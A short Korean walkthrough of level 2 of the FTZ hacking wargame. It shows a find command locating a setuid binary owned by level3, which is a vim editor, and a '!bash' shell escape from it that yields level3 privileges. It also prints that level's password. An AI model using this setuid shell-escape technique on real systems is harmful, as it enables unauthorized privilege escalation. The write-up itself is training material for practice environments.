

```
[level2@ftz level2]$ ls
hint  public_html  tmp
[level2@ftz level2]$ cat hint
&T  u  'p...
```

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있는데 ...



Level3에 setuid 걸린 파일 찾기

(find /뒤에 띄어쓰기)

```
[level2@ftz /]$ find /-user level3 -perm -4000 2> /dev/null
[level2@ftz /]$ find / -user level3 -perm -4000 2> /dev/null
/usr/bin/editor
```

/usr/bin/editor 파일 실행

```
[level2@ftz /]$ /usr/bin/editor
```

```
~  
~  
~  
~  
~  
~  
~  
  
      VIM - Vi IMproved  
  
      version 6.1.320  
      by Bram Moolenaar et al.  
Vim is open source and freely distributable  
  
      Help poor children in Uganda!  
type   :help iccf<Enter>           for information  
  
type   :q<Enter>                   to exit  
type   :help<Enter> or <F1>       for on-line help  
type   :help version6<Enter>     for version info  
  
~
```

vi에서 셸 명령어 실행 → !명령어

vi에 !bash를 입력한다

my-pass를 입력하여 level3의 패스워드를 확인

```
[level3@ftz /]$ my-pass  
Level3 Password is "can you fly?".  
[level3@ftz /]$ █
```